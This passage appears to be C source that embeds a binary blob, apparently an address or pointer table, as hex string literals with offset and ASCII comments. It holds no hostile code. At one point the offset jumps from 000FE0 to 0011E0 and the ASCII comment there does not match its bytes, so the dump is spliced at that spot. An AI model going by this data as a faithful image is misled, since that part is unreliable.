//Â,..f....(..Ãc.. /* 000280 */ "\x63\x2C\x01\x00\x2C\xB5\x05\x00\xA3\xCC\x01\x00\x31\x2A\x05\x00" //c,..,....Ì..1*.. /* 0002A0 */ "\x51\x2A\x05\x00\x1F\x22\x02\x00\xD8\x3B\x02\x00\x56\x39\x01\x00" //Q*..."..Ø;..V9.. /* 0002C0 */ "\x51\x99\x01\x00\x8B\x73\x01\x00\x19\x2D\x01\x00\x3C\x0A\x03\x00" //Q....s...-..<... /* 0002E0 */ "\x98\xE0\x07\x00\xA0\xE0\x07\x00\xA8\xE0\x07\x00\x5E\xCE\x00\x00" //.à...à...à..^Î.. /* 000300 */ "\x6E\xCE\x00\x00\x7E\xCE\x00\x00\x8E\xCE\x00\x00\x9E\xCE\x00\x00" //nÎ..~Î...Î...Î.. /* 000320 */ "\xAE\xCE\x00\x00\xBE\xCE\x00\x00\xCE\xCE\x00\x00\xDE\xCE\x00\x00" //.Î...Î..ÎÎ..ÞÎ.. /* 000340 */ "\xEE\xCE\x00\x00\xFE\xCE\x00\x00\x0E\xCF\x00\x00\x1E\xCF\x00\x00" //îÎ..þÎ...Ï...Ï.. /* 000360 */ "\x2E\xCF\x00\x00\x3E\xCF\x00\x00\x4E\xCF\x00\x00\x5E\xCF\x00\x00" //.Ï..>Ï..NÏ..^Ï.. /* 000380 */ "\x6E\xCF\x00\x00\x7E\xCF\x00\x00\x8E\xCF\x00\x00\x9E\xCF\x00\x00" //nÏ..~Ï...Ï...Ï.. /* 0003A0 */ "\xAE\xCF\x00\x00\xBE\xCF\x00\x00\xCE\xCF\x00\x00\xDE\xCF\x00\x00" //.Ï...Ï..ÎÏ..ÞÏ.. /* 0003C0 */ "\xEE\xCF\x00\x00\xFE\xCF\x00\x00\x0E\xD0\x00\x00\x1E\xD0\x00\x00" //îÏ..þÏ...Ð...Ð.. /* 0003E0 */ "\x2E\xD0\x00\x00\x3E\xD0\x00\x00\x4E\xD0\x00\x00\x5E\xD0\x00\x00" //.Ð..>Ð..NÐ..^Ð.. /* 000400 */ "\x6E\xD0\x00\x00\x7E\xD0\x00\x00\x8E\xD0\x00\x00\x9E\xD0\x00\x00" //nÐ..~Ð...Ð...Ð.. /* 000420 */ "\xAE\xD0\x00\x00\xBE\xD0\x00\x00\xCE\xD0\x00\x00\xDE\xD0\x00\x00" //.Ð...Ð..ÎÐ..ÞÐ.. /* 000440 */ "\xEE\xD0\x00\x00\xCE\xDF\x00\x00\xFE\xD0\x00\x00\x0E\xD1\x00\x00" //îÐ..Îß..þÐ...Ñ.. /* 000460 */ "\x1E\xD1\x00\x00\x2E\xD1\x00\x00\x3E\xD1\x00\x00\x4E\xD1\x00\x00" //.Ñ...Ñ..>Ñ..NÑ.. /* 000480 */ "\x5E\xD1\x00\x00\x6E\xD1\x00\x00\x7E\xD1\x00\x00\x8E\xD1\x00\x00" //^Ñ..nÑ..~Ñ...Ñ.. /* 0004A0 */ "\x9E\xD1\x00\x00\xAE\xD1\x00\x00\xBE\xD1\x00\x00\xCE\xD1\x00\x00" //.Ñ...Ñ...Ñ..ÎÑ.. /* 0004C0 */ "\xDE\xD1\x00\x00\x1E\x12\x00\x00\xEE\xD1\x00\x00\xFE\xD1\x00\x00" //ÞÑ......îÑ..þÑ.. /* 0004E0 */ "\x0E\xD2\x00\x00\x1E\xD2\x00\x00\x2E\xD2\x00\x00\x3E\xD2\x00\x00" //.Ò...Ò...Ò..>Ò.. /* 000500 */ "\x4E\xD2\x00\x00\x5E\xD2\x00\x00\x6E\xD2\x00\x00\x7E\xD2\x00\x00" //NÒ..^Ò..nÒ..~Ò.. /* 000520 */ "\x8E\xD2\x00\x00\x9E\xD2\x00\x00\xAE\xD2\x00\x00\xBE\xD2\x00\x00" //.Ò...Ò...Ò...Ò.. /* 000540 */ "\xCE\xD2\x00\x00\xDE\xD2\x00\x00\xEE\xD2\x00\x00\xFE\xD2\x00\x00" //ÎÒ..ÞÒ..îÒ..þÒ.. /* 000560 */ "\x0E\xD3\x00\x00\x1E\xD3\x00\x00\x2E\xD3\x00\x00\x3E\xD3\x00\x00" //.Ó...Ó...Ó..>Ó.. /* 000580 */ "\x4E\xD3\x00\x00\x5E\xD3\x00\x00\x6E\xD3\x00\x00\x7E\xD3\x00\x00" //NÓ..^Ó..nÓ..~Ó.. /* 0005A0 */ "\x8E\xD3\x00\x00\x9E\xD3\x00\x00\xAE\xD3\x00\x00\xBE\xD3\x00\x00" //.Ó...Ó...Ó...Ó.. /* 0005C0 */ "\xCE\xD3\x00\x00\xDE\xD3\x00\x00\xEE\xD3\x00\x00\xFE\xD3\x00\x00" //ÎÓ..ÞÓ..îÓ..þÓ.. /* 0005E0 */ "\x0E\xD4\x00\x00\x1E\xD4\x00\x00\x2E\xD4\x00\x00\x3E\xD4\x00\x00" //.Ô...Ô...Ô..>Ô.. /* 000600 */ "\x4E\xD4\x00\x00\x5E\xD4\x00\x00\x6E\xD4\x00\x00\x8E\xD4\x00\x00" //NÔ..^Ô..nÔ...Ô.. /* 000620 */ "\x7E\xD4\x00\x00\x9E\xD4\x00\x00\xAE\xD4\x00\x00\xBE\xD4\x00\x00" //~Ô...Ô...Ô...Ô.. /* 000640 */ "\xCE\xD4\x00\x00\xDE\xD4\x00\x00\xEE\xD4\x00\x00\xFE\xD4\x00\x00" //ÎÔ..ÞÔ..îÔ..þÔ.. /* 000660 */ "\x0E\xD5\x00\x00\x1E\xD5\x00\x00\x2E\xD5\x00\x00\x3E\xD5\x00\x00" //.Õ...Õ...Õ..>Õ.. /* 000680 */ "\x4E\xD5\x00\x00\x5E\xD5\x00\x00\x6E\xD5\x00\x00\x7E\xD5\x00\x00" //NÕ..^Õ..nÕ..~Õ.. /* 0006A0 */ "\x8E\xD5\x00\x00\x9E\xD5\x00\x00\xAE\xD5\x00\x00\xBE\xD5\x00\x00" //.Õ...Õ...Õ...Õ.. /* 0006C0 */ "\xCE\xD5\x00\x00\xDE\xDF\x00\x00\xDE\xD5\x00\x00\xEE\xD5\x00\x00" //ÎÕ..Þß..ÞÕ..îÕ.. /* 0006E0 */ "\xFE\xD5\x00\x00\x0E\xD6\x00\x00\x1E\xD6\x00\x00\x2E\xD6\x00\x00" //þÕ...Ö...Ö...Ö.. /* 000700 */ "\x3E\xD6\x00\x00\x4E\xD6\x00\x00\x5E\xD6\x00\x00\x6E\xD6\x00\x00" //>Ö..NÖ..^Ö..nÖ.. /* 000720 */ "\x7E\xD6\x00\x00\x8E\xD6\x00\x00\x9E\xD6\x00\x00\xAE\xD6\x00\x00" //~Ö...Ö...Ö...Ö.. /* 000740 */ "\xBE\xD6\x00\x00\xCE\xD6\x00\x00\xDE\xD6\x00\x00\xEE\xD6\x00\x00" //.Ö..ÎÖ..ÞÖ..îÖ.. /* 000760 */ "\xFE\xD6\x00\x00\x0E\xD7\x00\x00\x1E\xD7\x00\x00\x2E\xD7\x00\x00" //þÖ...×...×...×.. /* 000780 */ "\x3E\xD7\x00\x00\x4E\xD7\x00\x00\x5E\xD7\x00\x00\x6E\xD7\x00\x00" //>×..N×..^×..n×.. /* 0007A0 */ "\x7E\xD7\x00\x00\x8E\xD7\x00\x00\x9E\xD7\x00\x00\xAE\xD7\x00\x00" //~×...×...×...×.. /* 0007C0 */ "\xBE\xD7\x00\x00\xCE\xD7\x00\x00\xDE\xD7\x00\x00\xEE\xD7\x00\x00" //.×..Î×..Þ×..î×.. /* 0007E0 */ "\xFE\xD7\x00\x00\x0E\xD8\x00\x00\x1E\xD8\x00\x00\x2E\xD8\x00\x00" //þ×...Ø...Ø...Ø.. /* 000800 */ "\x3E\xD8\x00\x00\x4E\xD8\x00\x00\x5E\xD8\x00\x00\x6E\xD8\x00\x00" //>Ø..NØ..^Ø..nØ.. /* 000820 */ "\x7E\xD8\x00\x00\x8E\xD8\x00\x00\x9E\xD8\x00\x00\xAE\xD8\x00\x00" //~Ø...Ø...Ø...Ø.. /* 000840 */ "\x0E\xE0\x00\x00\xBE\xD8\x00\x00\xCE\xD8\x00\x00\xDE\xD8\x00\x00" //.à...Ø..ÎØ..ÞØ.. /* 000860 */ "\xEE\xD8\x00\x00\xFE\xD8\x00\x00\x0E\xD9\x00\x00\x1E\xD9\x00\x00" //îØ..þØ...Ù...Ù.. /* 000880 */ "\x2E\xD9\x00\x00\x3E\xD9\x00\x00\x4E\xD9\x00\x00\x5E\xD9\x00\x00" //.Ù..>Ù..NÙ..^Ù.. /* 0008A0 */ "\x6E\xD9\x00\x00\x7E\xD9\x00\x00\x8E\xD9\x00\x00\x9E\xD9\x00\x00" //nÙ..~Ù...Ù...Ù.. /* 0008C0 */ "\xAE\xD9\x00\x00\xBE\xD9\x00\x00\xCE\xD9\x00\x00\xDE\xD9\x00\x00" //.Ù...Ù..ÎÙ..ÞÙ.. /* 0008E0 */ "\xEE\xD9\x00\x00\xFE\xD9\x00\x00\x0E\xDA\x00\x00\xEE\xDF\x00\x00" //îÙ..þÙ...Ú..îß.. /* 000900 */ "\x1E\xDA\x00\x00\x2E\xDA\x00\x00\x3E\xDA\x00\x00\x4E\xDA\x00\x00" //.Ú...Ú..>Ú..NÚ.. /* 000920 */ "\x5E\xDA\x00\x00\x6E\xDA\x00\x00\x7E\xDA\x00\x00\x8E\xDA\x00\x00" //^Ú..nÚ..~Ú...Ú.. /* 000940 */ "\x9E\xDA\x00\x00\xAE\xDA\x00\x00\xBE\xDA\x00\x00\xCE\xDA\x00\x00" //.Ú...Ú...Ú..ÎÚ.. /* 000960 */ "\xDE\xDA\x00\x00\xEE\xDA\x00\x00\xFE\xDA\x00\x00\x0E\xDB\x00\x00" //ÞÚ..îÚ..þÚ...Û.. /* 000980 */ "\x1E\xDB\x00\x00\x2E\xDB\x00\x00\x3E\xDB\x00\x00\x4E\xDB\x00\x00" //.Û...Û..>Û..NÛ.. /* 0009A0 */ "\x5E\xDB\x00\x00\x6E\xDB\x00\x00\x7E\xDB\x00\x00\x8E\xDB\x00\x00" //^Û..nÛ..~Û...Û.. /* 0009C0 */ "\x9E\xDB\x00\x00\xAE\xDB\x00\x00\xBE\xDB\x00\x00\xCE\xDB\x00\x00" //.Û...Û...Û..ÎÛ.. /* 0009E0 */ "\xDE\xDB\x00\x00\xEE\xDB\x00\x00\xFE\xDB\x00\x00\x0E\xDC\x00\x00" //ÞÛ..îÛ..þÛ...Ü.. /* 000A00 */ "\x1E\xDC\x00\x00\x2E\xDC\x00\x00\x3E\xDC\x00\x00\x4E\xDC\x00\x00" //.Ü...Ü..>Ü..NÜ.. /* 000A20 */ "\x5E\xDC\x00\x00\x6E\xDC\x00\x00\x7E\xDC\x00\x00\x8E\xDC\x00\x00" //^Ü..nÜ..~Ü...Ü.. /* 000A40 */ "\x9E\xDC\x00\x00\xAE\xDC\x00\x00\xBE\xDC\x00\x00\xCE\xDC\x00\x00" //.Ü...Ü...Ü..ÎÜ.. /* 000A60 */ "\xDE\xDC\x00\x00\xEE\xDC\x00\x00\xFE\xDC\x00\x00\x0E\xDD\x00\x00" //ÞÜ..îÜ..þÜ...Ý.. /* 000A80 */ "\x1E\xDD\x00\x00\x2E\xDD\x00\x00\x3E\xDD\x00\x00\x4E\xDD\x00\x00" //.Ý...Ý..>Ý..NÝ.. /* 000AA0 */ "\x5E\xDD\x00\x00\x6E\xDD\x00\x00\x7E\xDD\x00\x00\x8E\xDD\x00\x00" //^Ý..nÝ..~Ý...Ý.. /* 000AC0 */ "\x9E\xDD\x00\x00\xAE\xDD\x00\x00\xBE\xDD\x00\x00\xCE\xDD\x00\x00" //.Ý...Ý...Ý..ÎÝ.. /* 000AE0 */ "\xDE\xDD\x00\x00\xEE\xDD\x00\x00\xFE\xDD\x00\x00\x0E\xDE\x00\x00" //ÞÝ..îÝ..þÝ...Þ.. /* 000B00 */ "\x1E\xDE\x00\x00\x2E\xDE\x00\x00\x3E\xDE\x00\x00\x4E\xDE\x00\x00" //.Þ...Þ..>Þ..NÞ.. /* 000B20 */ "\x5E\xDE\x00\x00\x6E\xDE\x00\x00\x7E\xDE\x00\x00\x8E\xDE\x00\x00" //^Þ..nÞ..~Þ...Þ.. /* 000B40 */ "\x9E\xDE\x00\x00\xAE\xDE\x00\x00\xBE\xDE\x00\x00\xCE\xDE\x00\x00" //.Þ...Þ...Þ..ÎÞ.. /* 000B60 */ "\xDE\xDE\x00\x00\xEE\xDE\x00\x00\xFE\xDE\x00\x00\x0E\xDF\x00\x00" //ÞÞ..îÞ..þÞ...ß.. /* 000B80 */ "\x1E\xDF\x00\x00\x2E\xDF\x00\x00\xFE\xDF\x00\x00\x3E\xDF\x00\x00" //.ß...ß..þß..>ß.. /* 000BA0 */ "\x4E\xDF\x00\x00\x5E\xDF\x00\x00\x6E\xDF\x00\x00\x7E\xDF\x00\x00" //Nß..^ß..nß..~ß.. /* 000BC0 */ "\x8E\xDF\x00\x00\x9E\xDF\x00\x00\xAE\xDF\x00\x00\xBE\xDF\x00\x00" //.ß...ß...ß...ß.. /* 000BE0 */ "\x99\xC4\x05\x00\x51\xC1\x05\x00\xB6\xC3\x05\x00\x6F\xC1\x05\x00" //.Ä..QÁ...Ã..oÁ.. /* 000C00 */ "\xB1\xB1\x02\x00\x19\x9A\x02\x00\x0D\x04\x01\x00\x96\xA0\x02\x00" //................ /* 000C20 */ "\xBF\x9F\x02\x00\x03\x78\x01\x00\x7D\x76\x01\x00\x98\x11\x00\x00" //.....x..}v...... /* 000C40 */ "\x3B\x88\x01\x00\x49\x9A\x02\x00\xA3\xC8\x05\x00\xEB\xDB\x02\x00" //;...I....È..ëÛ.. /* 000C60 */ "\x47\xC8\x05\x00\xF0\xC8\x05\x00\x80\xB5\x02\x00\xBD\xE8\x02\x00" //GÈ..ðÈ.......è.. /* 000C80 */ "\x2A\x47\x03\x00\x5E\xE6\x02\x00\x2D\x00\x03\x00\x6B\xC8\x05\x00" //*G..^æ..-...kÈ.. /* 000CA0 */ "\x3E\xC9\x05\x00\x03\xC6\x05\x00\x96\xD8\x05\x00\xD2\xFB\x00\x00" //>É...Æ...Ø..Òû.. /* 000CC0 */ "\xA1\x05\x02\x00\x2A\x6C\x03\x00\xA5\x28\x01\x00\x6D\x9A\x02\x00" //....*l...(..m... /* 000CE0 */ "\x8B\x88\x01\x00\x94\x93\x01\x00\xC4\x00\x01\x00\x99\x81\x01\x00" //........Ä....... /* 000D00 */ "\xC8\xF4\x05\x00\x3B\xEB\x00\x00\x32\xF8\x05\x00\xDD\xD4\x01\x00" //Èô..;ë..2ø..ÝÔ.. /* 000D20 */ "\x8D\xF8\x05\x00\xAF\x4F\x01\x00\x3A\x4F\x01\x00\xE5\x66\x05\x00" //.ø...O..:O..åf.. /* 000D40 */ "\x39\xE8\x02\x00\xF0\xED\x02\x00\x4B\xA0\x02\x00\x24\x81\x03\x00" //9è..ðí..K...$... /* 000D60 */ "\xB7\xFE\x05\x00\x07\x67\x02\x00\x8B\x02\x06\x00\x99\x04\x06\x00" //.þ...g.......... /* 000D80 */ "\xE1\x06\x06\x00\x1A\x33\x00\x00\xA1\x09\x06\x00\xA1\x08\x06\x00" //á....3.......... /* 000DA0 */ "\xC0\x3B\x03\x00\xB3\x3A\x01\x00\xC7\x01\x03\x00\xB3\xFA\x02\x00" //À;...:..Ç....ú.. /* 000DC0 */ "\xCB\xC1\x02\x00\xC1\x66\x02\x00\x0D\x37\x05\x00\x0D\x37\x05\x00" //ËÁ..Áf...7...7.. /* 000DE0 */ "\xD7\x61\x03\x00\x53\x2B\x00\x00\xA3\x2B\x00\x00\x56\xF7\x05\x00" //×a..S+...+..V÷.. /* 000E00 */ "\xA8\x79\x01\x00\x9D\x2A\x06\x00\xE1\x2C\x06\x00\xCF\x96\x05\x00" //.y...*..á,..Ï... /* 000E20 */ "\xFB\x32\x05\x00\xA5\x4E\x02\x00\x10\xCC\x02\x00\x36\x32\x00\x00" //û2...N...Ì..62.. /* 000E40 */ "\xCE\xCB\x02\x00\x55\x4C\x01\x00\xC0\x3C\x05\x00\xD2\x3F\x05\x00" //ÎË..UL..À<..Ò?.. /* 000E60 */ "\x3E\x32\x00\x00\x4C\x31\x01\x00\xC3\xDD\x05\x00\x7F\x36\x05\x00" //>2..L1..ÃÝ...6.. /* 000E80 */ "\x00\x37\x05\x00\xAD\xD0\x05\x00\xE4\xC3\x02\x00\x6A\x31\x01\x00" //.7...Ð..äÃ..j1.. /* 000EA0 */ "\x01\xDC\x05\x00\xDE\xD1\x02\x00\xD9\x4E\x01\x00\xE9\x87\x01\x00" //.Ü..ÞÑ..ÙN..é... /* 000EC0 */ "\xD5\x0A\x02\x00\xE9\xEE\x02\x00\x1A\x49\x03\x00\x1D\x31\x06\x00" //Õ...éî...I...1.. /* 000EE0 */ "\x99\xCA\x02\x00\x82\x5C\x02\x00\x99\x2E\x02\x00\x70\x45\x05\x00" //.Ê...\......pE.. /* 000F00 */ "\xF0\x0E\x06\x00\x51\x86\x01\x00\x95\xDC\x05\x00\xE9\x38\x06\x00" //ð...Q....Ü..é8.. /* 000F20 */ "\x54\x22\x02\x00\x60\xCD\x02\x00\x03\xDB\x02\x00\x32\x34\x01\x00" //T"..`Í...Û..24.. /* 000F40 */ "\x79\x30\x01\x00\xAB\x05\x03\x00\x71\xEE\x02\x00\x9A\xDF\x02\x00" //y0......qî...ß.. /* 000F60 */ "\x4E\xB5\x05\x00\x7D\x1A\x03\x00\xEB\x2D\x02\x00\xDF\x78\x01\x00" //N...}...ë-..ßx.. /* 000F80 */ "\xDD\x11\x00\x00\xFC\x04\x06\x00\x25\x34\x01\x00\x98\x8A\x01\x00" //Ý...ü...%4...... /* 000FA0 */ "\x19\x2B\x06\x00\x85\x2B\x06\x00\xD0\x3C\x05\x00\xE1\x4C\x02\x00" //.+...+..Ð<..áL.. /* 000FC0 */ "\x51\x81\x03\x00\x7E\x40\x03\x00\x7A\x13\x01\x00\x80\x4C\x02\x00" //Q...~@..z....L.. /* 000FE0 */ "\x3C\x42\x06\x00\x54\x3C\x06\x00\x5E\xDA\x05\x00\x21\xD9\x05\x00" //........U..a].. /* 0011E0 */ "\x5D\x63\x02\x00\x25\x64\x02\x00\x92\xFB\x05\x00\x34\x00\x06\x00" //]c..%d...û..4... /* 001200 */ "\xAF\x01\x06\x00\xD9\xFD\x05\x00\x29\x50\x03\x00\x04\x01\x06\x00" //....Ùý..)P...... /* 001220 */ "\x3A\xFF\x05\x00\x00\xD2\x05\x00\xE1\xF8\x05\x00\x58\x02\x06\x00" //:ÿ...Ò..áø..X... /* 001240 */ "\xF8\x2A\x00\x00\xDA\x86\x01\x00\xF2\x43\x06\x00\x19\x50\x01\x00" //ø*..Ú...òC...P.. /* 001260 */ "\xE4\x93\x02\x00\x66\x04\x01\x00\x3F\x33\x01\x00\x2D\xFF\x00\x00" //ä...f...?3..-ÿ.. /* 001280 */ "\xC3\xB4\x02\x00\x44\xCE\x05\x00\x5E\x88\x01\x00\x2D\x39\x01\x00" //Ã...DÎ..^...-9.. /* 0012A0 */ "\x66\x04\x01\x00\xFD\x33\x06\x00\xA0\x6C\x02\x00\x60\x48\x06\x00" //f...ý3...l..`H.. /* 0012C0 */ "\xE9\x4E\x03\x00\xCB\xC5\x01\x00\x5A\x0A\x06\x00\x31\x2A\x06\x00" //éN..ËÅ..Z...1*.. /* 0012E0 */ "\xB5\xA1\x02\x00\x06\x45\x01\x00\xE1\x0E\x06\x00\x9F\x37\x01\x00" //.....E..á....7.. /* 001300 */ "\xD4\x3C\x06\x00\xC7\x40\x06\x00\x89\xCE\x05\x00\xA1\x04\x02\x00" //Ô<..Ç@...Î...... /* 001320 */ "\xA9\x43\x01\x00\x27\xB4\x02\x00\x4D\x4C\x06\x00\x21\xFE\x00\x00" //.C..'...ML..!þ.. /* 001340 */ "\x79\x07\x02\x00\x0D\xF3\x02\x00\xD9\x49\x01\x00\x2E\xD9\x00\x00" //y....ó..ÙI...Ù.. /* 001360 */ "\x41\xCF\x05\x00\x1B\xFF\x00\x00\x58\x97\x01\x00\x2F\x13\x02\x00" //AÏ...ÿ..X.../... /* 001380 */ "\xE5\xB3\x02\x00\xD1\x17\x06\x00\xF2\xDD\x05\x00\x4D\xE0\x05\x00" //å...Ñ...òÝ..Mà.. /* 0013A0 */ "\x41\x04\x03\x00\xCB\x24\x05\x00\x62\x38\x01\x00\x6B\x96\x01\x00" //A...Ë$..b8..k... /* 0013C0 */ "\x5D\x56\x01\x00\x6C\xA2\x02\x00\x46\x03\x01\x00\x39\x03\x01\x00" //]V..l...F...9... /* 0013E0 */ "\xD7\x28\x01\x00\x6A\x0B\x03\x00\xA7\x9D\x02\x00\x5D\x12\x00\x00" //×(..j.......]... /* 001400 */ "\x76\x26\x02\x00\x34\x15\x02\x00\x45\x26\x02\x00\xF2\x09\x02\x00" //v&..4...E&..ò... /* 001420 */ "\x25\x12\x00\x00\x95\x12\x00\x00\x95\xFE\x00\x00\x3C\x22\x02\x00" //%........þ..<".. /* 001440 */ "\x7C\x8A\x01\x00\xD9\xE0\x02\x00\x1D\x16\x01\x00\x1A\x15\x01\x00" //|...Ùà.......... /* 001460 */ "\xB1\x14\x02\x00\x91\x01\x03\x00\x9A\x8B\x01\x00\x4A\xFE\x02\x00" //............Jþ.. /* 001480 */ "\x29\xCC\x05\x00\xFB\xE6\x01\x00\xC3\x4F\x03\x00\x95\x82\x01\x00" //)Ì..ûæ..ÃO...... /* 0014A0 */ "\xCF\x4E\x06\x00\x3F\x4A\x02\x00\x09\x42\x06\x00\x71\x0E\x06\x00" //ÏN..?J...B..q... /* 0014C0 */ "\x08\xAD\x01\x00\x2E\xAE\x01\x00\xED\x4D\x06\x00\xB3\x3C\x03\x00" //........íM...<.. /* 0014E0 */ "\x71\x3C\x03\x00\x0F\xDB\x05\x00\xB3\x53\x06\x00\x01\x54\x06\x00" //q<...Û...S...T.. /* 001500 */ "\x82\xD9\x02\x00\xFA\xD9\x02\x00\x81\xC9\x02\x00\x5F\x5D\x06\x00" //.Ù..úÙ...É.._].. /* 001520 */ "\x9F\x6B\x03\x00\x94\x5A\x03\x00\xA1\x50\x06\x00\xCD\x52\x06\x00" //.k...Z...P..ÍR.. /* 001540 */ "\x0F\x57\x06\x00\xA7\x54\x06\x00\x03\x58\x06\x00\x22\x5B\x06\x00" //.W...T...X.."[.. /* 001560 */ "\xF6\x61\x06\x00\xF8\x5E\x06\x00\xF6\x80\x05\x00\xA8\x30\x01\x00" //öa..ø^..ö....0.. /* 001580 */ "\x8C\xE3\x01\x00\xAE\x40\x06\x00\xDF\x46\x06\x00\x83\xD5\x05\x00" //.ã...@..ßF...Õ.. /* 0015A0 */ "\x6B\x90\x02\x00\xC1\x2A\x05\x00\xDD\x32\x01\x00\xCE\x33\x01\x00" //k...Á*..Ý2..Î3.. /* 0015C0 */ "\x02\x30\x00\x00\xE2\x31\x00\x00\x59\x64\x06\x00\x0E\x32\x00\x00" //.0..â1..Yd...2.. /* 0015E0 */ "\x92\x31\x00\x00\xBA\x31\x00\x00\x22\x32\x00\x00\xA4\x0A\x06\x00" //.1...1.."2...... /* 001600 */ "\xE0\x10\x00\x00\xB8\x36\x01\x00\xCB\xB2\x02\x00\x9E\x31\x01\x00" //à....6..Ë....1.. /* 001620 */ "\xB8\x3B\x06\x00\xE3\x02\x03\x00\x0B\x32\x01\x00\x00\x37\x05\x00" //.;..ã....2...7.. /* 001640 */ "\xD4\x15\x01\x00\xAA\x84\x02\x00\x2F\x10\x02\x00\x95\x43\x06\x00" //Ô......./....C.. /* 001660 */ "\x4F\x99\x02\x00\xFD\x9F\x02\x00\xDA\xE0\x05\x00\xB6\xD7\x05\x00" //O...ý...Úà...×.. /* 001680 */ "\x94\x2C\x00\x00\x15\x69\x01\x00\xBA\xEC\x00\x00\x9A\x93\x02\x00" //.,...i...ì...... /* 0016A0 */ "\xEC\x3A\x05\x00\x62\x3B\x05\x00\x57\xE9\x02\x00\x20\x27\x03\x00" //ì:..b;..Wé...'.. /* 0016C0 */ "\xB1\x38\x05\x00\x36\x23\x02\x00\x1C\x44\x02\x00\x2D\xF6\x00\x00" //.8..6#...D..-ö.. /* 0016E0 */ "\x79\xF6\x00\x00\x79\x3B\x02\x00\x9C\x41\x06\x00\x10\xFE\x05\x00" //yö..y;...A...þ.. /* 001700 */ "\x60\xFE\x05\x00\xC8\xF4\x05\x00\x85\x74\x02\x00\x5C\x73\x02\x00" //`þ..Èô...t..\s.. /* 001720 */ "\xD9\x8A\x01\x00\x93\x43\x03\x00\x71\xCB\x05\x00\xE0\x9A\x01\x00" //Ù....C..qË..à... /* 001740 */ "\x55\xDC\x02\x00\x08\x44\x01\x00\xB2\x11\x06\x00\x00\x9B\x01\x00" //UÜ...D.......... /* 001760 */ "\xBD\x49\x03\x00\x20\x3D\x03\x00\x99\x45\x01\x00\x9B\x21\x06\x00" //.I...=...E...!.. /* 001780 */ "\xD5\xCE\x02\x00\xD2\xFC\x00\x00\xB1\x35\x01\x00\xBD\x05\x02\x00" //ÕÎ..Òü...5...... /* 0017A0 */ "\x39\x47\x05\x00\x83\x4F\x05\x00\xE1\x48\x05\x00\x0D\x4E\x05\x00" //9G...O..áH...N.. /* 0017C0 */ "\xFE\xF3\x02\x00\xEA\x38\x05\x00\x65\x14\x06\x00\x71\x0F\x06\x00" //þó..ê8..e...q... /* 0017E0 */ "\x95\x80\x05\x00\x58\x7C\x02\x00\x28\xE5\x00\x00\xA0\x66\x06\x00" //....X|..(å...f.. /* 001800 */ "\xCF\x66\x06\x00\x38\x7D\x03\x00\xA0\x9B\x01\x00\xEF\x14\x02\x00" //Ïf..8}......ï... /* 001820 */ "\x3F\x05\x02\x00\x17\x3C\x06\x00\x56\xE3\x01\x00\xB6\x43\x06\x00" //?....<..Vã...C.. /* 001840 */ "\x33\x32\x03\x00\x47\x05\x01\x00\x4F\x03\x02\x00\x51\x04\x01\x00" //32..G...O...Q... /* 001860 */ "\x84\x9F\x02\x00\x80\x4C\x06\x00\x96\x6C\x03\x00\xFB\x24\x02\x00" //.....L...l..û$.. /* 001880 */ "\x30\xFE\x00\x00\xF3\x36\x05\x00\xE3\xD7\x02\x00\x95\xD7\x02\x00" //0þ..ó6..ã×...×.. /* 0018A0 */ "\x81\x3B\x06\x00\x4A\x3B\x06\x00\x10\x36\x05\x00\x38\xC5\x05\x00" //.;..J;...6..8Å.. /* 0018C0 */ "\xD7\xCF\x02\x00\xFC\xC1\x02\x00\xC5\xE1\x05\x00\x58\x64\x02\x00" //×Ï..üÁ..Åá..Xd.. /* 0018E0 */ "\xE0\xFA\x02\x00\x67\xA0\x02\x00\xAA\xE7\x01\x00\xF5\x32\x06\x00" //àú..g....ç..õ2.. /* 001900 */ "\x7F\x86\x01\x00\xB8\x77\x02\x00\x32\x8A\x01\x00\xE5\x7C\x03\x00" //.....w..2...å|.. /* 001920 */ "\xB7\xC5\x05\x00\x99\xDD\x02\x00\x30\xFE\x00\x00\x5F\x4C\x06\x00" //.Å...Ý..0þ.._L.. /* 001940 */ "\x72\x36\x05\x00\xE8\x89\x01\x00\x9C\xEB\x02\x00\x46\xCF\x02\x00" //r6..è....ë..FÏ.. /* 001960 */ "\xAF\xE0\x05\x00\x9C\xC4\x02\x00\xC1\x38\x05\x00\xF0\xEB\x02\x00" //.à...Ä..Á8..ðë.. /* 001980 */ "\x99\x22\x02\x00\x99\x10\x06\x00\xD1\x06\x06\x00\xC1\x9D\x05\x00" //."......Ñ...Á... /* 0019A0 */ "\x15\x13\x06\x00\xE9\x93\x01\x00\xDD\x04\x01\x00\xD8\x0E\x02\x00" //....é...Ý...Ø... /* 0019C0 */ "\x5E\xB1\x02\x00\x55\x0A\x02\x00\xB6\x8E\x02\x00\xE0\x36\x01\x00" //^...U.......à6.. /* 0019E0 */ "\x78\x82\x01\x00\x5D\x4C\x02\x00\xF4\x3B\x06\x00\x58\x5A\x03\x00" //x...]L..ô;..XZ.. /* 001A00 */ "\x39\xAB\x01\x00\xE3\x3A\x06\x00\xF1\xB1\x02\x00\x64\xA1\x02\x00" //9...ã:..ñ...d... /* 001A20 */ "\xFD\x1E\x01\x00\x4F\x6D\x06\x00\x82\x69\x06\x00\x74\x6A\x06\x00" //ý...Om...i..tj.. /* 001A40 */ "\xFA\x68\x06\x00\x5B\x6B\x06\x00\x2F\x6D\x06\x00\x3F\x6D\x06\x00" //úh..[k../m..?m.. /* 001A60 */ "\x11\x6B\x06\x00\x18\x11\x00\x00\x61\x6F\x06\x00\xE7\x78\x06\x00" //.k......ao..çx.. /* 001A80 */ "\xA3\xF4\x05\x00\xB8\x2B\x01\x00\x9E\xF5\x05\x00\x91\xAE\x01\x00" //.ô...+...õ...... /* 001AA0 */ "\xA3\xF4\x05\x00\x0A\x72\x02\x00\x32\xB7\x05\x00\x8D\x2A\x01\x00" //.ô...r..2....*.. /* 001AC0 */ "\xBA\x31\x01\x00\xE8\x70\x02\x00\x31\xEC\x02\x00\xFB\x03\x03\x00" //.1..èp..1ì..û... /* 001AE0 */ "\x73\x32\x01\x00\x00\x37\x05\x00\xC5\xAB\x02\x00\xE0\x03\x01\x00" //s2...7..Å...à... /* 001B00 */ "\x83\x6B\x02\x00\xEF\xF4\x05\x00\x72\xF6\x05\x00\xC9\xC0\x02\x00" //.k..ïô..rö..ÉÀ.. /* 001B20 */ "\xE1\xB8\x05\x00\xDD\x41\x02\x00\xA5\xBD\x02\x00\x05\xAF\x02\x00" //á...ÝA.......... /* 001B40 */ "\xC2\x93\x02\x00\xE9\xF7\x05\x00\xD8\x24\x06\x00\xCD\x85\x01\x00" //Â...é÷..Ø$..Í... /* 001B60 */ "\x29\xD2\x02\x00\x12\x4E\x03\x00\x84\x2F\x01\x00\x08\x22\x06\x00" //)Ò...N.../...".. /* 001B80 